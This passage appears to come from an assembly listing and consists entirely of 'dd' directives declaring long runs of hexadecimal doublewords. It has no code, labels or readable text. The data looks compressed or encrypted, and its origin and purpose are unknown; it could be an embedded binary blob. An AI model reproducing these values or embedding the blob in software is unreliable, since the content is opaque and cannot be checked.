1E8BE75Dh, 4B16AF2Ah dd 1E1DA79Eh, 0F8D1BEB4h, 28298ADCh, 0AFA424F8h, 1513C909h dd 0C43B9543h, 3D424A2Ah, 88554B53h, 9EB41255h, 7EB7A189h dd 89EC8AB4h, 29749FFCh, 1A645048h, 0FFF9BEA6h, 9156D56Dh dd 0CF261BDAh, 2A8E2156h dd 0CF7A7B92h, 3F5AD7D4h, 0F040455Ah, 691DB08Dh, 9F14A228h dd 0B134A609h, 2A8E8AA3h, 0EA37C10Ah, 0AD1FDEEFh, 0FEA2CD22h dd 28E3ADC9h, 18A7D10h, 95B44C03h, 548A5593h, 0B5FD099Fh dd 4551B10Ah, 99F730DAh, 486BDABCh, 0BF0848ABh, 7D434E51h dd 11641450h, 915648EDh, 0F87FD3F2h, 49152156h, 7A6711BFh dd 0AD1F476Eh, 0FE22ED22h, 0A5D2ADAAh, 69231640h, 0A397DE98h dd 8EFF08F1h, 0C37E59B0h, 0FF24522Ah, 9A6D46D2h, 62CD5528h dd 0A8507482h, 0A495FAE3h, 5A061A16h, 0F03195F0h, 8DA6E4AAh dd 30BA9F35h, 1E54247h, 6B6EFD8Dh, 4BC2D406h, 0A2D6A1Eh dd 91D91E34h, 507085C6h, 7AE3DDC3h, 0DC4C7C8Eh, 988710F9h dd 639F73E7h, 6176CDDAh, 89E7AECBh, 28695BF6h, 0CC9A40A2h dd 54311DADh, 21567A09h, 3C02BF36h, 88EDA6A6h, 0A6CD63A2h dd 7462CFDh, 44501EF9h, 77FF3E81h, 0C780D23Bh, 0DFA448DEh dd 0FE937537h, 7CBCFECEh, 3DE8668Fh, 0D237E91h, 33E01445h dd 0A4BFB541h, 0D0EFF00Eh, 0D1EFF49Fh, 9FEED26Ch, 0A1F39E93h dd 2869CD6Eh, 3F9440A2h, 4F001DB8h, 51546FA2h, 0CD1E3E7Eh dd 955FCA6h, 0BA05F95Ah, 42EF078Fh, 9CAD1E6Fh, 0FC3C084Ch dd 10FC314Ch, 0BFF003A9h, 83E7A7F7h, 89FB9B34h, 0D99C2BF0h dd 0B44C40A2h, 1E01691Dh, 0F3029A7Fh, 3F31C621h, 4C798F0h dd 0A3DF0F96h, 2F498379h, 3C22761h, 2117011Ah, 85F4617Ch dd 0CF129FC7h, 0C5435CE0h, 0F1FB051Ah, 0DE2D48EDh, 7DD3A378h dd 0F74DD4E8h, 0F314FB5Fh, 1E799AC5h, 8A1A12ADh, 12679028h dd 0DD4A476Bh, 14C99DE2h, 0DA410FDDh, 32544811h, 0D6FDF745h dd 0F520168Fh, 348E9544h, 0ABC75114h, 0F9BDD32h, 16FE3A31h dd 0A6CD22AFh, 6C46644Ah, 51141EF9h, 0D442F720h, 3A31348Eh dd 32AFABC7h, 408A0F92h, 1EF916FEh, 0A27CA6CDh, 8A15DDFAh dd 0AFD59028h, 4621476Dh, 0F57878E7h, 0E7F5F329h, 3DF2B7F2h dd 69024D9Ah, 21749C8Ch, 0B4948F06h, 2DDC8AA3h, 9F84EDEh dd 3B788231h, 0DF9448AAh, 86B6FE88h, 89FA8AB4h, 0D99CFBE8h dd 0B2DF40A2h, 9D18691Dh, 0AFD145E3h, 0C35F87CBh, 0A3DFE2DFh dd 599A44D9h, 156925E9h, 0FC2140FFh, 0D00A10A9h, 330E5BFh dd 0DFB45E43h, 340C103Ah, 11FE1794h, 0D9B0489Ch, 8681234Eh dd 58BAD4F0h, 0DBA14515h, 46F14551h, 0A9AFF368h, 0F63B3C85h dd 3633F9A7h, 255AE69Bh, 0A051E5A4h, 348E40F2h, 9AF3C03Eh dd 2ED41Fh, 42FCD68Fh, 14CB7CDEh, 3F5B305Dh, 13D3589Ah dd 4C76B46Dh, 62B774F4h, 0B91549C7h, 0DF9E3E96h, 25DEB645h dd 0B817FF32h, 3DF242FCh, 0ED504D9Ah, 8A1A968Dh, 19777828h dd 0C8114769h, 0BF3CE7BFh, 0D9A37790h, 9F143F14h, 1458DF37h dd 0A45542C8h, 7F17F58Bh, 0CB971DB2h, 3FCAE7CFh, 3669C5E4h dd 62378FC5h, 8E4907C9h, 7682D502h, 9EFF71A4h, 4D97C5Fh dd 39F03C7Fh, 0D1A3887Ch, 0BF045E6Fh, 511DF33h, 0ED754FCAh dd 3DFE4348h, 3C85F83Fh, 0F8261AF8h, 0F90EF933h, 8CF1CD1Eh dd 75E1F83Ch, 27287C27h, 67D7354Ch, 9B081371h, 5DBE8D5Ah dd 288B2975h, 43A705FAh, 0B814AF8h, 6AE8C045h, 1081694Fh dd 62151094h, 6409AB15h, 0EDAB6E62h, 0A14E22A8h, 7D664C81h dd 7AFB2ABDh, 0A1A2C105h, 0A7D7E7ECh, 42BC7C88h, 52DA5B43h dd 0C57DC3BBh, 48F40729h, 538A79E6h, 8FAA9026h, 81888ECFh dd 5084EA5Ah, 0ACB71724h, 78B3823Bh, 0BD005778h, 760291EDh dd 0FA138C43h, 1A1D11CDh, 1DD2DE1Ah, 0F21AB218h, 112018DDh dd 0EE50EE12h, 508F41F8h, 0DAA1FEEFh, 0DC96A582h, 87CF624Ah dd 4F703F82h, 78816887h, 8951877Fh, 257114ACh, 0D5D912A8h dd 191EE021h, 24AAA1B5h, 264A0A5Eh, 0D4B94083h, 221F6491h dd 0AF668AAEh, 58A87E0Bh, 0D9455743h, 29CC0E0Ch, 7DF0761Ch dd 68B3225Dh, 607E5019h, 774D4924h, 0BF40C5C0h, 35808012h dd 830FA18h, 9230099Fh, 1BA7209Ah, 0FB931258h, 0A264A309h dd 23807583h, 940163C8h, 0E8190BBh, 0ACE8898h, 0E5580185h dd 4A1C6ABEh, 0FF22332Ah, 5BF83028h, 885ADFD4h, 85DF9D6Ah dd 50803C11h, 6105C926h, 0FBF0C5D7h, 0B2DC8D4Eh, 75DCFCA9h dd 71B17BACh, 0CEE7147h, 4E41AAE0h, 32D338F1h, 3686A335h dd 759CDAE5h, 81434607h, 56715AA0h, 0E54C19FBh, 724437DFh dd 0FC0A63h, 0F17728BEh, 0FDDBA42h, 75F23FE6h, 6700093Dh dd 457D7AE0h, 555B538Fh, 4E6FFB58h, 0AC426E92h, 3935BE0Bh dd 928BA757h, 31E13E09h, 89756457h, 93485749h, 234F976h dd 0ACB0386Dh, 3C363418h, 810A47ABh, 0A4819A33h, 0F9DEFA00h dd 69B431A6h, 0ED4EAC5Ch, 0E887BFA9h, 267EF96Ah, 0B9525D24h dd 52766C59h, 0CF25778Fh, 5A9A6DACh, 8D35DE06h, 3ED15AAFh dd 83F914A8h, 284128D8h, 47A0047Bh, 0B93D82D8h, 0DFD6977Eh dd 23178F50h, 46BFED85h, 787DF8BAh, 622E159h, 8605050Fh dd 249F31EBh, 5756737Dh, 6300AB59h, 0A9075CEh, 115EB8FEh dd 2A32C51Ch, 0A2B032Dh, 758B8EA8h, 4FF7F069h, 8728607Fh dd 12521572h, 0FA5C9450h, 0B57CF482h, 7FACD38h, 0A63F5FE7h dd 8F0C825Ch, 0C957EC9h, 0D580EE9h, 243DF471h, 0AD7271D6h dd 575E38BFh, 80EC71C8h, 560FC78Dh, 1E9F412Eh, 0B751C403h dd 2C299C16h, 514BD58Bh, 16308A0Fh, 180CAFDBh, 7A5FB5FEh dd 5D79C10Bh, 2BE0EC29h, 0BD475E8Ah, 845D6CA4h, 0A3551F4h dd 5EC4636Ah, 0DAD9AA2Dh, 2521CC14h, 0BA78F481h, 61970110h dd 12920B51h, 7F93873h, 0F5EA2534h, 5A3EE8F5h, 0D2DE0FA2h dd 0B9C19DF4h, 82119389h, 41153960h, 0E3FD0108h, 0D754170Ah dd 0D632C70h, 7838380Fh, 81AA629Ch, 0AEF2119h, 0F0A3AF52h dd 0D406CF8Dh, 0A3C1559Fh, 4C99C150h, 0B49417D1h, 283ED581h dd 6B38DFA8h, 0E8EBB821h, 4549471h, 0F93AFB44h, 4F324767h dd 1233E0ADh, 4413D86Eh, 0CCCD89Ah, 0A40D8403h, 0AFF72AA5h dd 417433h, 0DD26282Bh, 93B304ABh, 0A3D52815h, 32118DF8h dd 242AD1CAh, 828985F6h, 0C2F0ECE5h, 57DE6618h, 7073069h dd 9A02D987h, 84FF796Ch, 47568974h, 0E528EE30h, 5D20D666h dd 237026DEh, 0B5A2BB8Bh, 183AA2EFh, 0F72B2EFEh, 0D6605455h dd 32B10FFCh, 164BA67Ch, 83121C98h, 5702126Fh, 13BFAAA8h dd 5CAF2B49h, 0F2BEF0A2h, 0D6DE867Bh, 4E92F636h, 5E5C47F5h dd 4EFEE021h, 9D2B504Ah, 9281B59Bh, 0A04270FEh, 2664B3A6h dd 20EB8903h, 503C9DCAh, 16C5C174h, 5F1B671Ch, 2E94BACh dd 0ECAC4688h, 55044F0h, 3303C7EEh, 0ACE8C6CFh, 0B43A2D27h dd 0BAC2E603h, 0AE0A3899h, 8A4A6412h, 0C1B9FA36h, 0B6B1CABFh dd 4EB25DADh, 0D7975675h, 82454021h, 0BF6FCDDh, 0BB6F414Bh dd 18AC0F70h, 783922D5h, 0CC0157B8h, 0CB413110h, 0C538C3B0h dd 9DDA18CBh, 3B2802B3h, 773CEFF0h, 5CF41A9Dh, 81E3C738h dd 155C92C5h, 2CA099ACh, 0B3FB475Eh, 7C0080C5h, 0D216F623h dd 191A10ACh, 2BEE9D4Dh, 0F51AD8A0h, 2BBF61A7h, 38EA069Ah dd 8DC27900h, 5700A2ADh, 0BE1400D6h, 0A5F895Dh, 6C66BADEh dd 8206E96h, 0F8B75740h, 76E038BEh, 5B6200E5h, 42160214h dd 731E165Bh, 98BDB26h, 15F4EA87h, 684CDAEBh, 3529BB80h dd 0B8EC3389h, 0E401D880h, 0FCB51EDAh, 2EAAFA81h, 15F540Eh dd 80B17636h, 800CF16Fh, 0F82B38Eh, 341D7614h, 998CF0ECh dd 0A7FE3803h, 7A2004CEh dd 0FDC92B94h, 0AAB509C5h, 0B6A9A350h, 5A15CCAAh, 940CA455h dd 7625143Ah, 566D1DF3h, 0D9A3CB2h, 0BFB01ACh, 8BC604AAh dd 3AA198C9h, 85F7B68Ah, 588CBADAh, 161DC9ACh, 0ABA45019h dd 6BC06532h, 0AAC10EBAh, 16A3C8C8h, 6777AAh, 0CD2BE150h dd 49EE28B9h, 9A57E759h, 0F2CA00F3h, 0ADF9DD5Dh, 8B2AB2B9h dd 72884544h, 0C8E7A119h, 0CE08D59Ch, 0ABAE7E0Fh, 2C151A16h dd 9E00AE7Fh, 2C155B64h, 0AA8FF35Ah, 7C55873Ch, 9E5B1E03h dd 767E976h, 8E8F2B2Eh, 3E0CAF76h, 578040D8h, 0AD926A2h dd 4FF0557Dh, 1B5D4FA9h, 0B454A500h, 83ECF138h, 777814EAh dd 56A5A4A1h, 35E6C797h, 79946F5Ch, 7B4E969Eh, 0E87B1448h dd 0B1F6E398h, 1433CCA1h, 0E82082C4h, 6338A03Bh, 1DAA0CDDh dd 5EC23868h, 9761EB49h, 66B3368Ch, 0AB2EA711h, 0A14ADF59h dd 2A50EF58h, 42AF023Eh, 0C3F0694Ch, 82EA85E4h, 17D99925h dd 8A7DB54Fh, 921370F4h, 110BF8CBh, 83E9EA05h, 0FF7BAC2Fh dd 0F5C9C2E0h, 637C803Dh, 0A4A6F150h, 560E680Ah, 0E92F6125h dd 0EBE56702h, 0A0C162A2h, 3E0F0E00h, 0E913D82Ch, 5F541C0Eh dd 662E627Ch, 426BCBDh, 0D5FEBED5h, 8E17AB2Bh, 0C8B1FDFh dd 5FC8CA47h, 0B0B06630h, 608A8820h, 7629FA8Fh, 86EFE22Eh dd 1534283Bh, 1773D833h, 0CDD61B13h, 405E340Bh, 70657AC3h dd 35160DB1h, 0E11CE0FCh, 3A451A85h, 7EC5EE61h, 7E126585h dd 430063DFh, 5388F07Ah, 0B8C689CAh, 0AFE21E1Eh, 30E407C4h dd 2C744005h, 6D7F88A3h, 49587485h, 30600F8Fh, 64C95D87h dd 5A46FC1Ch, 0ED81FD6Ch, 9ADBC51Fh, 3C82F4D7h, 17C695B4h dd 0E1D82508h, 0AA49B469h, 53A814E9h, 2497429h, 21A83361h dd 0D10229AFh, 0FF0AEF07h, 0AB11A049h, 0B3984F80h, 14534206h dd 0C37DBD6Ch, 0FC70E806h, 5822C5Fh, 81613879h, 6BEF8E8Fh dd 720EA202h, 0A040C255h, 477C8C62h, 5835F86Ch, 0C102E148h dd 59B17B80h, 305C44D2h, 0C89C60CAh, 0A131E4B8h, 0E21754B7h dd 862702F5h, 0D834851Ch, 0C562E535h, 33E89DF0h, 0E690AD89h dd 5CEC6F7h, 99E4A2F1h, 973B6A18h, 653D5E04h, 284A7045h dd 17F0655Fh, 76E36F93h, 4A815CE3h, 14682E71h, 5DF2E481h dd 97D10313h, 0BA1D3A1Eh, 0AC718CFDh, 2668DC3Bh, 0AB2F1E69h dd 3D13C51Ch, 55DD2152h, 7138BF98h, 59CB3AC0h, 0C978F30h dd 28EB0D5Ah, 83C612D5h, 0F285DCB0h, 388F12F5h, 0CABF3F9h dd 0F2EBDD64h, 6854D6AFh, 64B5E431h, 9B462E81h, 55952DCCh dd 0F60DB945h, 493D3BE9h, 0C459B0A5h, 9F4C3DF7h, 8850C5B6h dd 6A016B2Dh, 0F77017F9h, 0B5D22089h, 97588445h, 0F341808Ah dd 0FB284356h, 307C6CDAh, 70A4C73Dh, 0D9D43B01h, 2B254D9h dd 0EFD6C487h, 0FB51BD3Dh, 5FF5AFEh, 523A194h, 3A3AC4E4h dd 3789C003h, 1BFCCAEBh, 99C17303h, 0C6CF7644h, 4A503905h dd 80E930A4h, 0DAF8D850h, 1C1FE08Fh, 0DC121288h, 68FBD705h dd 97FB9DB2h, 88BF5024h, 0E8DAAD15h, 8DFBE602h, 1C2B4D62h dd 87D50DB3h, 8BFC7591h, 17700F3Dh, 1D1A6354h, 95A82128h dd 238DB135h, 0E1DE9344h, 0DB026273h, 32A945E5h, 6C08BA9h dd 0E4FF1146h, 32384969h, 0F3D6870h, 0C381E0Fh, 0BD172622h dd 5953B344h, 0D51CFFF4h, 4DE6D270h, 1E2A9A19h, 0DCA9B6DFh dd 0B84AA39Dh, 6245A2A3h, 0E2831DE4h, 0CE78147Bh, 0AF5AA951h dd 54742E97h, 0F28901Eh, 907A2E8Ah, 441D82FEh, 5D2E28C0h dd 7C039F8Ch, 14421D4Dh, 0D3EE50C7h, 712EFADCh, 5CA1C9FEh dd 8CDD8C9Fh, 604A281Fh, 383B26EDh, 316D4574h, 0AEA80045h dd 0F146E63Dh, 2896F647h, 38BA97D8h, 518EFAE2h, 0F673471h dd 7E3E42AAh, 0CC5F5B13h, 0F28B0190h, 8A370D91h, 5E23DAC0h dd 59A01514h, 14519239h, 8264AE43h, 145F5742h, 7FCCDC75h dd 0F1BC75F5h, 0E5CA7DF1h, 716AE5DBh, 0BD48F5F5h, 0ABBE38D9h dd 1D2ADBBCh, 0FF26C676h, 0EC32CB3Ch, 0DCB6939Bh, 2D85E9DEh dd 0C6965DB8h, 0B469A92Ah, 0A44529DFh, 0F8A3A9ADh, 766092A1h dd 0B55568D9h, 0E57F5502h, 5F2BFDB7h, 5B2893C3h, 0F196898Dh dd 0A71E541Ah, 0E90482B2h, 64C029F2h, 9EB00BDAh, 0A165228Ch dd 1545BF6Bh, 0D5656D4Fh, 79171EDCh, 2A616D57h, 4F6A72EAh dd 0F73E9237h, 1DF770CDh, 0EB377AFCh, 7AE1C846h, 0B52A5198h dd 0ADB54AD8h, 18AFC3AAh, 13A9A6D2h, 2B3DC155h, 0AB91667h dd 38CC13BBh, 0D5964740h, 23AD6260h, 0EE51A163h, 74D60228h dd 0EAEF6589h, 6AA498C8h, 0D5FF2264h, 0D6C48BF0h, 0E65F3E92h dd 0D0732CC7h, 87E1EC68h, 6D23FBE0h, 0C0E6F3EAh, 0C5F0F1DFh dd 314CAB35h, 0BFDB4E7Ah, 9AAC9436h, 51E0AAA5h, 701D582Dh dd 14C1DABh, 0CD9345C2h, 44C1E74Ch, 375842D0h, 0DCABFE20h dd 2FAE74EFh, 74A061CEh, 0C78106A0h, 242E540Bh, 4F331A3h dd 0CA95AACFh, 0A83CEF8h, 1307F01Eh, 94F34287h, 9C33C787h dd 0F0E6FC1Bh, 77C9B5A6h, 0B6C704Fh, 8EB234E6h, 0BA43B1BEh dd 27BA195Fh, 0F5C16AAFh, 0D899EB81h, 0E562DA06h, 8650C301h dd 2A1D622Fh, 90E422EBh, 6F1C3A18h, 55EA5778h, 54451484h dd 0E6D0756Ch, 0B8C0E2F4h, 8CE0B79Bh, 0D3145CDBh, 78763EE0h dd 57483D07h, 0A21A4EB8h, 0D6BBC3h, 0D7E6F121h, 0F7271485h dd 0C2972C15h, 0AFF56304h, 61815F49h, 8940CFAFh, 9D712E7Fh dd 0E354271Ah, 6CC62EBBh, 0BFEE1818h, 44370C59h, 0EAC34840h dd 714EDFF5h, 0EDA52037h, 0CB81812Bh, 17C7C6D1h, 3A0BAF0Fh dd 0B61B01A7h, 978D2FECh, 3A4ACE5Bh, 8722DCBCh, 0F514BAF2h dd 0E48668A4h, 0CC840815h, 0D264A4DEh, 0BC988D28h, 14F391Ch dd 421F2D0Dh, 28F168h, 0A18CD6BFh, 0AD0ABC81h, 0A12564A3h dd 0F23C0649h, 9BD59B10h, 0BC9E34C6h, 1CC7EB82h, 116341B3h dd 43269DFDh, 8A4E8378h, 224968D3h, 0C70EF3BFh, 0AD66837Bh dd 0C6A347A6h, 0B0356049h, 10C0C088h, 0A638093h, 0FAD989A0h dd 9F59685Fh, 0D232E5EBh, 0B0B9105Ch, 468C8613h, 0AE91701Dh dd 29E5F3A1h, 35CF5C54h, 4AD425CBh, 0E7AEC272h, 69F95E7Eh dd 0F8E217D8h, 2433C3E0h, 0B2B11560h, 24990ADFh, 7F028FB7h dd 1FC7F2E0h, 54E77F9Ch, 3CFCFECBh, 165B93E3h, 3925303Eh dd 74C025D6h, 0F84165EBh, 8CE07891h, 2BD5BF30h, 772C0CF1h dd 0F93AFADBh, 9B355D0Bh, 99F12D74h, 6A55BEF7h, 0FA0AB364h dd 3428E7E0h, 0F712F0A6h, 0D4F5A826h, 0E1968325h, 0FC1CE582h dd 0FD4C985Bh, 2C8B203Bh, 0AB57FE22h, 0E6554962h, 0A8E23678h dd 5085C0C3h, 61FC112Dh, 0C3902D87h, 0AD4080DDh, 6E8E7F9Eh dd 491FE8BBh, 1E9532Dh, 0F20B3F67h, 693B78C6h, 0C51943C2h dd 0A34C9088h, 15E6ABC2h, 10C6AAF5h, 8C3990Dh, 42D16E15h dd 29D36406h, 267DAA16h, 38311C7Ch, 30C0BC5Fh, 0F154287Dh dd 7309F740h, 0F8B1C9AFh, 5AEDD9BAh, 4B5D7DAFh, 0A074B626h dd 0A196C06Dh, 2C04FC08h, 678F7314h, 0E336E9A5h, 26D4D704h dd 24502038h, 4AF8DFE6h, 2ABF1A6Eh, 0AA954B81h, 21332334h dd 0B2C9559Bh, 20F50AABh, 7DD10272h, 9FEB546Ah, 0BF885C86h dd 48EEB1B2h, 0CAF47E0Bh, 0E8A405AFh, 0E79E923h, 3CC5582Eh dd 0A020E1E5h, 82FD0251h, 3205DA00h, 4578FDABh, 0F86F4A9Eh dd 1FE627CCh, 953B776Ch, 49951172h, 68048662h, 0BE3ECA76h dd 951D7218h, 0D594E81Eh, 25C8A42Eh, 2EA3F01Ch, 0E28064Ch dd 808B080h, 9B800902h dd 8C6508h, 647D51F2h, 1B11200Dh, 46801C54h, 9401072Bh dd 0B01496A3h, 0E7608810h, 32832D80h, 5CC4F8D0h, 4961482Fh dd 0C1445B1Bh, 40906604h, 0A6453E88h, 24142889h, 225AB20Ch dd 7ACE701h, 14C5F918h, 0E0044311h, 5A1280EDh, 584A6E09h dd 212CB025h, 1DE4A095h, 0C7955D13h, 4122C495h, 25E021Fh dd 2A9793DFh, 4AA5C041h, 0AA5FC008h, 0A5FCF448h, 3608848Ah dd 5CA248AEh, 31B64D47h, 67AA88FCh, 4770C599h, 25066B00h dd 0C3819731h, 1230D579h, 7F639065h, 524D3146h, 60A04A6h dd 31B712D8h, 0D05F30B1h, 5B0B4988h, 4BE72725h, 1BFDD244h dd 0FC1EED12h, 6D136721h, 6B551987h, 33C3EFD9h, 0DF98E0EDh dd 18591B29h, 24D325CAh, 16D9095Ah, 18DAB48Ch, 0D2430A20h dd 69F80044h, 9D717103h, 0F82D3805h, 226C1034h, 0CC9C7DABh dd 4DAC98B7h, 0E82D4612h, 7BDBEC15h, 86151B06h, 851C0CD8h dd 0B69D7641h, 5C4CC29h, 892882D4h, 0CE250D02h, 39E4762Ah dd 0EC01862Eh, 5FC46425h, 0BB0C1FA2h, 0A252A080h, 0D9470118h dd 431749Ah, 0A514122Ah, 5104848Ah, 0C4848AAh, 848A8AA5h dd 48ABAA50h, 6926A504h, 9A40673Ch, 12B61501h, 0E3CC08D6h dd 6D36156Ch, 436CB819h, 145131E0h, 2E67478Ch, 0C64EB79Bh dd 0CAECE75Ah, 4B8BF8CAh, 75EC75ABh, 883BDF89h, 55ED51E0h dd 0D3C39A4Eh, 5DE4423Ah, 58C00BFFh, 0E44C850Ch, 0DD832FF8h dd 0A4B1DF5h, 0B317E498h, 59BEEBC0h, 6128758Ch, 0EFC0F468h dd 0E8CD0E24h, 602AEF7Eh, 0A8B9E0ECh, 5B223E82h, 562F8317h dd 848507C0h, 0F8ED859h, 0C4EAD282h, 8B889620h, 0B18B1F8Ch dd 0A04E0CEFh, 0FA2DFDDCh, 619D92B2h, 0CD979875h, 232657FFh dd 29BFDE2Ch, 33E21281h, 0D2BE4120h, 20F077D3h, 0EC41FBCFh dd 0BAEF482Bh, 49642ED3h, 87F8D2E5h, 4CCF182Eh, 0BA9B7748h dd 4EE8A5F7h, 9A4A58BBh, 0AAC0A213h, 4758A01Eh, 0EF2DCC79h dd 0B75838AAh, 0E0B41309h, 4068052Eh, 0D89478A3h, 0AE50A2A1h dd 0A8188667h, 927315D5h, 0C33032BEh, 0F14D1211h, 8CC445CCh dd 99520440h, 0C1194059h, 7B6BCD2Ch, 38919661h, 0AE62E2F8h dd 2715C8A7h, 3D58D4B0h, 53DCA9A4h, 0CCF0532Fh, 0EB5E6AE2h dd 9CA9244Bh, 0D38859ABh, 82F14240h, 48912FBDh, 9EBE1B6h dd 0A7439D00h, 0B2F23F83h, 37922418h, 0E101BE1Bh, 7BDE21EBh dd 451E80Ch, 0E5B0B11Ch, 62139023h, 0D256C5D7h, 2863BEF5h dd 481ED152h, 0E854FC62h, 656D8EE4h, 0EB667F5Ch, 0F59DE68Dh dd 317444B8h, 0FDF982A2h, 0EFF185AFh, 0B3394F9Ch, 0A3087697h dd 7B0BD851h, 1BE0D74Dh, 0E84E138Fh, 4549500Fh, 0B43BBD7Dh dd 0BB9784DAh, 7B3157A9h, 0BBA1753Fh, 5EBC997Bh, 0C5492832h dd 4898430Ch, 0A2CAF4ACh, 0FED20896h, 50A5C48Ch, 344D512Dh dd 0C5C5474Ah, 10192C7Ch, 836C1DE9h, 78E05BE5h, 36C51CF6h dd 0B7B12277h, 0BAB8A1B5h, 14709E46h, 47CBCA1h, 0A02D125Ch dd 0F6671127h, 362E7587h, 183F924Bh, 0FC10802h, 5005FDh dd 18B573Dh, 0F3356163h, 5B31EB23h, 57207E0Bh, 877944h dd 3F84E820h, 9A09002h, 0B8002E7Dh, 82EC0A5Fh, 0F5D02154h dd 0CAD4019Fh, 6BA543A7h, 0FF85BB69h, 0F2FA327Bh, 3E5180E5h dd 310B091Fh, 0B3AC994h, 8EE8FC2Ch, 0C0B2CF4Eh, 0BD9998F0h dd 206C5DFFh, 8625DD7Bh, 750D9148h, 804BF803h, 182170A2h dd 59A20801h, 22015365h, 25049F54h, 7B087EC8h, 3061B07Ah dd 0A52570B8h, 225B7C81h, 260116C8h, 9AC70642h, 0FC5A2F91h dd 551218Ch, 47740BC0h, 642B9E1h, 2782004Bh, 9CD1A868h dd 0E92136B8h, 0B00AD238h, 0DB1695FCh, 0EF0491C1h, 3D03CA91h dd 1A6D0303h, 33D04A01h, 97036AEBh, 0EA85CF00h, 1488B803h dd 461215A7h, 445F1C0Fh, 0E8058588h, 0B139066Eh, 738830EBh dd 0FFCF9F26h, 7838F417h, 3797CC65h, 0C168B27Ch, 7A9605AAh dd 5641F02Ah, 21E17D9Ah, 0DDBF77EBh, 0D57741BEh, 1DF276D3h dd 508169E9h, 7D2A3AF8h, 1B6AE553h, 0BE275652h, 0B9B68937h dd 6C4C6CACh, 0BFB5203Ah, 4EBEFAACh, 0B3F845ADh, 78BA4360h dd 643C240Fh, 6EE32F3h, 210EEBE2h, 0F43300C4h, 0FFDFC17Bh dd 614B03E7h, 0A5B0C891h, 15D262EEh, 0E7917FE8h, 0DBF80D81h dd 2F72C03Bh, 62072938h, 0CD7F6AAFh, 539AC2C4h, 1415F6h dd 82003236h, 1089390Dh, 2EBD456h, 202F3DFEh, 0DD0D2153h dd 46B0333Eh, 405071D1h, 71935596h, 314E8B54h, 0C411B809h dd 8D5FB023h, 4A896B6Eh, 4BEAEFA4h, 1A736306h, 0B2180ED8h dd 50D15CACh, 80EDC878h, 1B8AD81Fh, 0DAD76CB7h, 0B2693B78h dd 69A1B509h, 25308033h, 5784023Ch, 7A8374A7h, 0D1E5AE90h dd 778C08DAh, 0FB7AC257h, 0D703CB21h, 0AB2E6F03h, 2D0DB542h dd 4256AD90h, 95639D46h, 2EDA9F02h, 18D3077Dh, 0B7E520Ch dd 0EC5DBEC0h, 519DBD72h, 134D17D8h, 0E8CDE427h, 0EECFEA3Ah dd 0CA6F0959h, 0A3C1CC4Ah, 0B7A513D3h, 25B41860h, 4A8929E4h dd 40AA3CA6h, 0E8F6AB45h, 0DC28FF7Eh, 0CE43A04Dh, 6A5E23E7h dd 15C75B7Dh, 0E074827Dh, 120D4B3Ah, 0FC65ABAAh, 0F3D2F721h dd 665EC299h, 245B80Fh, 6BEC95F7h, 596F7AE8h, 33304610h dd 3C4A7250h, 28B8157Ch, 0D1DE488h, 2EFCD43Ch, 0DCEA3109h dd 83E07415h, 0C8A0C1A3h, 3EA4144Ah, 8C086856h, 0A5760CD6h dd 0DBFCC610h, 29FF1852h, 0C30A2963h, 0C3C1F056h, 601BB159h dd 3F012480h, 4458C1C0h, 0E7E28935h, 0A011DE0Ch, 0C2C7CDE2h dd 0EDF45778h, 6BF857AFh, 7E0FC28Bh, 0A4C49A30h, 604EAF4h dd 0DB62D04Dh, 9D28F459h, 60A61E9Dh, 0C35036EBh, 0EA0544E2h dd 23865356h, 0DA8416B8h, 0D2F4F475h, 3392E12Bh, 602E5090h dd 12AD0CD1h, 70C5AFD0h, 899FFC5Eh, 748369D0h, 31763951h dd 90C5F956h, 48AB0D02h, 58939608h, 0CA0EAE95h, 78160ED1h dd 0F9394E2Ah, 2DC6F88Ah, 40222EB1h, 3ED77BC7h, 0E103C9B4h dd 0ECBD6946h, 0E773E360h, 2A9B8525h, 0D37B940Ch, 0A8EE4C6h dd 0AA47133Eh, 6A37E95Dh, 0D23991CBh, 8A32148Dh, 6032DDFh dd 10FC32F8h, 683857C0h, 2DA725FCh, 16890605h, 0B0FC2C9Ah dd 9182B517h, 80B5BF1Ah, 639881C8h, 43A3F01h, 86C00311h dd 0BEA20E88h, 803C120Ah, 4EA1CCAh, 2525FFE6h, 0E3B9A75Dh dd 90599790h, 6312A2EDh, 0D709A627h, 9434593Bh, 5DEC3EC5h dd 1AD4856Dh, 8414CB7Fh, 9669486h, 5E12D2EDh, 8883DDA3h dd 0E491CD74h, 0E8672F1Ch, 276A5D99h, 137FD76Ch, 0C00D2474h dd 9C7DF708h, 0BCBC511h, 0E0452440h, 9234B5B1h, 0ABBD2F78h dd 0FFD0A085h, 0AE56B596h, 0AFA29E2h, 43520601h, 0BE81024Bh dd 43F81018h, 2C60791Ch, 9028A0C1h, 0E593496Bh, 0EC1B2406h dd 0C25DAA3Ah, 45FB4A38h, 6AAFDE56h, 0A1B5DEB9h, 0AC870045h dd 78D6F20Ch, 515629C5h, 2213BE04h, 12FBA707h, 0B3209A44h dd 8A8059Dh, 0DBEEBF16h, 3B314947h, 2112574Fh, 3C858721h dd 6C789CA7h, 9CEE197Dh, 0BBC1D8B0h, 0EECCBF0Ch, 1C5B0B7Ch dd 0A2E14584h, 0D1A61CE7h, 0D67E625Eh, 51A0260Ch, 6760CC22h dd 0E8988076h, 0B85988FCh, 0ED6E3BDEh, 84B49844h, 0C07C8174h dd 51AADA58h, 4A64BADh, 0EAFACC22h, 46A7761Ah, 54604400h dd 0DC0E4115h, 13BFA310h, 1CABC65Eh, 0C2028DD2h, 0F4B263CBh dd 0D418195Eh, 74616982h, 3780143Dh, 0A664429Bh, 3678F412h dd 5E86B013h, 0BE8C5087h dd 0E88CD15h, 0A510DBA8h, 0FC29338Ah, 23F73F4Dh, 9E978C94h dd 7356A0D7h, 0B2113946h, 0FC5F544Ah, 97AF94h, 665D2031h dd 9950532Ah, 5312C167h, 1E25B21Ch, 41AE8EE9h, 518B6740h dd 0A5F65626h, 0E200F450h, 2C62EC42h, 0B01C5297h, 8C330BA4h dd 0A21D5077h, 186C7EDDh, 51A8B2FCh, 0CE90EE7Ch, 30D4A8ECh dd 6BEA0A31h, 4A8888D6h, 17FEE92Dh, 4A2828FCh, 5D07A633h dd 434635ADh, 0E0624903h, 44905AB8h, 76389217h, 8C2200D4h dd 89598935h, 5A004F62h, 6688B191h, 82340FC3h, 8D25D1D8h dd 4B601618h, 31F08423h, 4D2C8967h, 580459C2h, 33040572h dd 420C7043h, 0B0B9934h, 55C7CF01h, 1CCEE065h, 0A10782DEh dd 390C013h, 250960A8h, 0C0025090h, 3DAA6E41h, 0C4E18920h dd 9A72D18Ch, 0FDC47B01h, 9368D805h, 2ABE9564h, 561AEE01h dd 